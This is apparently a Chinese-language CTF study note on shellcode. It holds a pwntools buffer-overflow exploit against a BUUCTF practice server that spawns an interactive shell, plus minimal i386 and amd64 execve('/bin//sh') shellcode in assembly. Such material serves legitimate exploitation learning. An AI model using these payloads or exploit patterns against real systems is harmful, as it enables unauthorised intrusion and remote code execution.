z
最简单的shellcode,写什么执行什么
直接用shellcode.sh生成,再asm转换为二进制
例题下载
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * # remote()建立远程连接,指明ip和port io = remote('node4.buuoj.cn',28957) context(log_level = "debug",arch = "i386",os = "linux") #io=process("./level1") io.recvuntil("What's this:") buf_addr=io.recvuntil(b"?") buf_addr= buf_addr[:-1] shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(140,b'a')+p32(int(buf_addr, 16)) io.sendline(payload) #发送数据 io.interactive() #与shell进行交互
|
存在过滤的shellcode
去我的分组对抗1看看,熊写了一道
机器码对应汇编: https://blog.csdn.net/weixin_43708844/article/details/103211703
长度不足的shellcode
找目前最短的shellcode,有别的想法可以接着开发
i386长度18
1 2 3 4 5 6 7
| push 0xb pop eax push ebx push 0x68732f2f push 0x6e69622f mov ebx,esp int 0x80
|
amd64长度22
1 2 3 4 5 6 7 8 9
| xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi push rsp pop rdi mov al, 59 cdq syscall
|